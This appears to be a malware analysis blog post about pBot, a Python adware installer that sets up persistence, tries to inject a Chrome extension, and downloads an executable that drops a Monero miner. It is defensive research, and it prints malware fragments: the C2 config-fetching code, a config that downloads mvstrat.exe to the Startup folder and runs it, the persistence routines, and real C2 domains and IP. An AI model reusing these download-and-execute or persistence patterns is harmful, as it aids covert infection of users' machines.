Post 0x11: Potentially Unwanted Program? More like Definitely Unwanted Program

You may have heard of the friendly (Python) Adware pBot, and how it is becoming malicious by installing Browser Extensions without user consent and injecting unwanted advertisements into web pages and worse. I was intrigued with the thought that people actually wrote Adware in Python and distributed it, so I checked the Browse section of VirusBay and luckily enough, a sample had been uploaded by Rony, so I downloaded it and started to examine it.

MD5: 1aaedcf1f1ea274c7ca5f517145cb9b5

As always, I started off by running strings on the sample, to get any hints as to what this sample can do. I instantly noticed several strings beginning with Reg – so now I know that the registry is accessed at some point during the execution of the program. ShellExecute is also in the list of strings, so that hints towards external programs being executed.

I moved it over to my Windows 7 machine to perform some further analysis, and upon doing so, I noticed the interesting icon that the file had, an NSIS Icon. NSIS stands for Nullsoft Scriptable Install System, which is “a professional open source system to create Windows Installers“. So the executable is just an installer for the python scripts, rather than the result of PyInstaller or Py2Exe. Thanks to an informative post by Hasherezade, I was able to extract the plaintext scripts easily.

I opened the executable with Archive Manager on my Ubuntu machine, and was greeted with 3 folders; 000100150001001A and 0001001F. One of these folders contains the scripts we want to analyse, one contains the Python libraries and interpreter, and one contains some unimportant files.

The first folder, 00010015, contains the python scripts we want to analyse – these make up the malicious part of the executable. You’ll notice the regular .py files, as well as .bin‘s and .txt files.

The second folder contains unimportant files, and the third folder contains the Python interpreter and libraries required to run the scripts. Looking at the required libs and interpreter, we can see that it runs with Python 3.4.

I extracted both the script folder and the python folder, and opened up app.py, the first file in the folder. To begin with, I thought that this was the first script to run – but when I performed dynamic analysis, this was not the case. A lot of this post will focus on static analysis as Python is very simple to understand compared to x86 assembly! So upon opening app.py, we are greeted with 4 functions:

run_silent(s)
run(s)
s_sha1(filepath)
main()

Lets begin with main().

So from the looks of it, this script is using DNS requests in order to resolve a URL? It seems to query DOMAIN, ‘TXT’, where DOMAIN is a hardcoded variable. At the top of the script the variable DOMAIN is set:

cnf = json.loads(open(os.path.dirname(os.path.realpath(__file__)) + '\\localconfig.json').read()) 

DOMAIN = cnf['domain']

SUFFIX = cnf['suffix']

So cnf is being called with the argument ‘domain’ and ‘suffix’cnf basically opens a file called localconfig.json and reads it. In this case, it reads the line that contains domain and the line that contains suffix. One of the files stored in the scripts folder is called localconfig.json, so lets have a look at that:

{

"domain":"fastersrv.ru",

"suffix":"/ForceUpdateBestSP"

}

So does this mean that the C2 server is fastersrv.ru/ForceUpdateBestSP? Apparently not – after following this URL, I got a File not found. message – so that is not the C2 server. As this was a relatively new sample, I ignored the fact that the C2 server might have been taken down, and decided to run the DNS queries in a Python interpreter, and see what went wrong. Sure enough, upon running the commands, I found another URL:

I followed the URL, and instead of a File not found., I got a 403 Forbidden. Interesting. As I had no definitive proof that this was the C2 server, I continued with analyzing the scripts. After the URL has been formed, the script calls uuid4() and stores it in the variable cid, as a string. Unaware with what this does, I ran it in a Python interpreter again.

So from the looks of it, the program creates a universally unique identifier (not sure why I forgot what uuid4 does), and then checks to see if the file uuid.txt exists. If it does, it opens the file and reads the original UUID, storing it in cid. If it doesn’t exist, the script creates uuid.txt and writes the string stored in cid to the file. This seems to be a method of tracking infected victims, so we could see the UUID being used in communications with the C2. Sure enough, the next two lines of the script seems to do just that:

 configpath = url + '/config.json?'+cid # fastersrv.ru/upd/ForceUpdateBestSP/config.json?71625c43-b324-4a29-b82a-ef9ac6ba0696
 config = json.loads(urllib.request.urlopen(configpath).read().decode("utf8"))

This is the first direct communication between the C2 server and the script. configpath contains the formed URL – fastersrv.ru/upd/ForceUpdateBestSP – the configuration file – /config.json? – and the UUID – cid. The script then calls urllib.request.urlopen() on the URL stored in configpath, and then reads the data from the site. When Python reads data from the site, it is stored as regular strings, rather than a JSON format that is understandable by the script. Therefore, the script calls json.loads() in order to convert it to an understandable format:


{'update': [{'from': '/a.php', 'sha1': 'DFD592DDAF3B52F75FA49D1639C4AD95', 'to': 'a.txt'}, {'from': '/mvstrat.exe', 'sha1': 'A480D4100AF495247116839EDFFE7172C0D52410', 'to': '%temp%\\mvstrat.exe'}, {'from': '/mvstrat.exe', 'sha1': 'A480D4100AF495247116839EDFFE7172C0D52410', 'to': '%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mvstrat.exe'}], 'afterupdate': ['"%temp%\\mvstrat.exe"']}

So there are 2 interesting files mentioned in this configuration; mvstrat.exe and a.php. What if these are files stored on the webserver that we can download? There are to and from sections, so maybe the script downloads it from the location in to and stores it in the location in from? I changed config.json to a.php and sure enough, the file existed, showing the text UisOK. What about the executable? Sure enough, I had to download it from Firefox as Chrome blocked the file as it was malicious.

Now we know these files exist, we need to figure out what they are used for. Underneath the call to urlopen(), a for loop is called, which loops over all of the items in the update section in the downloaded config file. Underneath the for loop, there is a complicated if statement:

if s_sha1(_x(item['to'])).lower() != item['sha1'].lower():

Basically,  the argument _x(item[‘to’]) is being passed to s_sha1(). But what does _x(item[‘to’]) mean? First let’s work out what item[‘to’] is. Each sub entry in the config contains 3 sections:

 {
  "from":"/a.php",  
  "to":"a.txt",         
  "sha1": "DFD592DDAF3B52F75FA49D1639C4AD95"
 }

Item[‘to’] refers to the value in the to variable, which in this case is a.txt. So now we know that for each value in the to variable, _x() is called. Now we need to find out what _x() is. At the top of the script, _x() is declared:

_x = expandvars

expandvars is imported from os.path, and so whenever _x is called, the script executes expandvars()expandvars basically expands variables (and remember this is used on a Windows system), for example %TEMP% is expanded to C:\Users\AppData\Local\Temp\. This is only really useful when file paths are used in the to section, such as %temp%\\mvstrat.exe. Therefore, we can deduce that the script is calling s_sha1(“C:\Users\AppData\Local\Temp\mvstrat.exe”) and checking if it is not equal to the value stored in item[‘sha1’]. We can make a guess that s_sha1 calculates the SHA1 Hash of the file, and if it does not equal the SHA1 on the remote config file it means either the file does not exist, it is corrupted, or it is a different file. The script then downloads the file from the C2 server, and stores it in the path in item[‘to’]. The SHA1 hash of the downloaded file is calculated and stored in a file with the exact name, just with .sha1 appended to the end.

Once all the files have been downloaded, the script checks to see if is_update is true or not. If it is equal to true, the script checks for an afterupdate section in the remote config file. If it exists, the script executes anything in the afterupdate section, which in this case is %temp%\\mvstrat.exe. Whilst there is a run_silent(s) function, it isn’t used in this particular script, and instead mvstrat.exe is executed with subprocess.call(), without the CREATE_NO_WINDOW flag. Now that we have analyzed app.py, I decided to have a look at the other files in the folder, specifically a .crx file.

Not knowing what .crx meant, I googled it and it turned out it is a Chrome Extension. Based off posts I had read, pBot was able to install malicious Chrome Extensions into your browser, so I decided to take a look at it.

After unzipping the extension, we are left with multiple files and folders. I briefly scanned over the files, looking for anything interesting, which I found in the manifest.json.

I don’t know much about Chrome Extensions, but this extension seems to require quite a lot of privileges. You can also see the company name, BestSalesProfit. When we search up this name, there are a multitude of pages about how to remove the BestSalesProfit virus, and it seems they have been infecting users with different types of Adware. I decided to move back to the Python scripts, as they are the most important part of this Adware. I opened up brplugin.py, and was met with a bunch of compressed, encoded text.

I put it into a Python interpreter and removed the exec() to see the output.

Even more confusing text. I skimmed over it and noticed mentions to DLL’s and failing to load them, as well as relocating images. I read over this post on TheHackerNews, which states that “if PBot finds any targeted web browsers (Chrome/Opera) installed on the victim’s system, it uses “brplugin.py” script to generate DLL file and then injects it into the launched browser and install the ad extension.” So brplugin is responsible for creating a DLL that is injected into Chrome or Opera to install the extension. I decided that I would extract the injected DLL when I perform dynamic analysis, rather than spending hours trying to understand how the script works, and finding the DLL manually. Now that I had figured out the purpose of brplugin, I moved onto ml.py.

From looking at the file, it seems that ml.py is responsible for pBot’s persistence, as there are mentions to the registry, and schtasks.exeml.py also seems to have three different modes; checkersdeleters and healersCheckers is responsible for checking the registry, Startup folder, and the scheduled tasks. Deleters delete the persistence methods, and Healers create them.

 checkers=[chkStartUpLnk, chkRegRun, chkTask]
 deleters=[delStartUpLnk, delRegRun, delTask]
 healers=[setStartUpLnk, setRegRun, setTask]

Finally, there is launchall.py. The first function you are met with when opening the script is readOutput(s, tryes=5) – this function pretty much executes a program (s) silently, and reads the Standard Output of the program. This is all in a try loop, so if it fails, the script executes readOutput() again, but with 1 less try. This runs until there are no errors, or tryes = 0. Just underneath that function is a function denoted run_async(s) – this basically executes a program (s), so that it runs at the same time as the script (asynchronous).

The next few functions are responsible for gathering system information:

isWin64()
getVersion()
exOS()
getUserAgent()
getExParams()

You can probably guess what the functions do, except for maybe exOS() and getExParams(). The exOS() basically gets the version of Windows that is running, and getExParams() uses ctypes in order to get the arguments used to call launchall.py.

Underneath the info gathering functions is a function named GATracker – this seems to be some more communications with a C2 server, however every time I visited the URL that was created, there was nothing on the site – so why was the script trying reading data from it?

The script also had two functions responsible for searching for running processes; processList() and processFullPath(). The first function stores the process name in a list, and the second stores the process ID in a list.

A class was defined, with the name Browser, which looks like the handler for installing the chrome extension. It also shows that brplugin takes arguments, such as version and listprofiles, based off the process that is passed to Browser().

A line in the script also shows which browsers are affected by the Adware:

#processes=['chrome.exe', 'opera.exe', 'amigo.exe', 'browser.exe']
processes=['chrome.exe', 'opera.exe', 'browser.exe']

You can see that the first line is commented out, and the difference between the two lines is amigo.exe is missing in the uncommented line – perhaps they stopped supporting malicious extensions for Amigo?

I skipped to the bottom of the file to see if there was a main() function, which there was not. This code was the last thing in the file.

So it looks like app.py isn’t the first script to run, as it is being executed in launchall.py. Then what is the execution flow of this program? The easy way to figure that out is Dynamic Analysis.

I moved the file over to my Windows machine, and executed the program, to which I was greeted with an Install Wizard – very stealthy. The program introduces itself as a bestsalesprofit Installer, with the top text reading Vas Privyetstvuyet Master Ustanovki BestSalesProfit, which translates to Welcome to the installation wizard of BestSalesProfit.

When we click Далее (Continue), the wizard asks us to choose a path in which the program will be installed to, with the default being the ROAMING folder. Click Установить (Install) to install the program. As soon as the program has installed the scripts, they are run automatically, without any user consent.

Upon checking the bestsalesprofit folder, I noticed a file that was not there when I extracted the files; uninstall.exe. I also noticed subid.txt, however that was created after the Python script had run.

As the first script that is executed exits quickly, it seems that launchall.py is the first script to be executed, but that is not the case. ml.py is executed first, and then launchall.py is executed, which you will see soon. Now that I had seen how the installation and startup works, it was time to monitor what the scripts did, and especially any network connections. Sure enough, when I started Wireshark and reinstalled the scripts on a clean Virtual machine, a network connection was made, and a lot of data was being received from that IP address.

As you can see in the image below, the script is performing a GET request to the C2 server using the GATracker function we saw in launchall.py, but no data is sent back from the C2.

While this was running and I was checking through the Wireshark logs, the VM began to slow down and it was as if something was chewing up all of the CPU. I checked back at ProcessHacker and noticed three running processes, one being mvstrat.exe, which had created a cmd.exe instance, which had executed a file I had not seen before, NsCCNM64.exe.

With no idea how this file got onto my VM, I scoured the Wireshark logs looking for downloaded executables, but only found one MZ header in the logs – the downloaded mvstrat.exe. Perhaps it was encrypted when it was downloaded, and decrypted on disk?

I cleaned the VM again, and monitored the network connections made by the script up until NsCCNM64.exe was executed. I noticed as soon as mvstrat.exe had been executed, the communications stopped, and cmd.exe was executed, which then executed NsCCNM64.exe. So NsCCNM64.exe must be dropped by mvstrat.exe. To be sure, I checked the properties of the dropped executable to find the location, so that I could monitor it during the network communications to make sure that it wasn’t downloaded at the same time. I noticed the arguments that NsCCNM64.exe was running with and realized that NsCCNM64.exe is an XMR Miner (full name: NsCpuCNMiner64):

The directory that the miner is stored in is in the TEMP directory, inside a randomly named folder. Once again, I rebooted the VM, and monitored the TEMP directory whilst mvstrat.exe was being downloaded. Nothing, until mvstrat.exe was executed. So mvstrat.exe is dropping NsCCNM64.exe to the disk and executing it. I restarted the Virtual machine so I could check for any persistence methods. Whilst doing so, I noticed that mvstrat.exe is executed separately from the Python instances.

I checked the both the CurrentVersion\Run Registry key and the Startup folder for the files. Both mvstrat.exe and a shortcut to ml.py were stored in the Startup folder, and the path to ml.py was stored the registry value bestsalesprofit.

As I wanted to see what the chrome extension would do, I installed Google Chrome, ran Procmon (I still wasn’t 100% sure the order of which scripts were run), and executed the installer once more. I ran Chrome whilst the scripts were running, in hopes to trigger the installation of the extension. I waited a while and checked the Procmon Tree function, which showed this:

You can see that ml.py attempts to create a scheduled task using schtasks.exe, with the tasks being named bestsalesprofit and bestsalesprofit2. launchall.py is then executed, which executes app.py and downloads mvstrat.exe, which drops NsCCNM64.exe to disk and executes cmd.exe, which calls NsCCNM64.exe. You can also see that brplugin.py is executed by app.py at the same time – this is what interacts with the browser. In the Tree image, brplugin.py is only being executed with the help argument, but when Chrome is running and everything has been initialized, it shows this:

brplugin.py first checks the version of Chrome, and then lists the profiles. It then checks to see if the extension is already installed – but it failed as the script is unable to identify the data structures – not sure why. It then attempts to install the extension, and then checks again – this also fails. I checked the installed Chrome extensions but found nothing – it seems that the extension failed to install – but hey, at least they were making money from the XMR miner! If you want to analyze the Chrome extension, I have uploaded it to VirusBay, just search in “chrome extension” in the browse section and look for files uploaded by Daniel. I have also uploaded the mvstrat.exe and NsCCNM64.exe, so if you want to analyze either of those, you should check out VirusBay. If you have any questions, feel free to contact me on Twitter, @0verfl0w_, I will gladly answer your questions!

Summary (Not including the Chrome extension):

  • NSIS Installer is executed
  • Files are stored in ROAMING folder by default.
  • ml.py is executed
    • Two scheduled tasks are created; bestsalesprofit and bestsalesprofit2
    • A registry key is also created in the HKCU\…\CurrentVersion\Run under the name bestsalesprofit, which executes ml.py upon startup
    • A shortcut to ml.py is stored in the STARTUP folder
  • launchall.py is executed once ml.py returns
    • launchall.py executes app.py
    • app.py contacts the C2 server and downloads mvstrat.exe to the TEMP directory and the STARTUP folder.
    • mvstrat.exe is then executed
      • mvstrat.exe drops NsCCNM64.exe to the disk, to a randomly named folder in the TEMP directory
      • NsCCNM64.exe is executed

IOCs:

  • NSIS Installer: 1aaedcf1f1ea274c7ca5f517145cb9b5
  • ml.py: bf042b6e515d9c92489d16d4fd4692be
  • launchall.py: 320bb5a35f7cb74dd9ec3814c9f61f2e
  • app.py: e8bff6cd4bb6d46a65c10ae3938fc315
  • brplugin.py: 4d1a38620a2f024c819a6ea551ed8faa
  • brplugin.bin: 61038d7538dc07613473b4ff649547f5
  • Chrome Extension: 7217c06a59e73acd407b24d625741762
  • mvstrat.exe: a50ea10ce3e08bf5095c12503ccc5d95
  • NsCCNM64.exe: d8461f2978de84045e7ad6bea7a60418
  • C2 Servers:
    • fastersrv.ru > 91.228.153.118
    • bestsalesprofit.ru >91.228.153.118

Leave a Reply

Your e-mail address will not be published. Required fields are marked *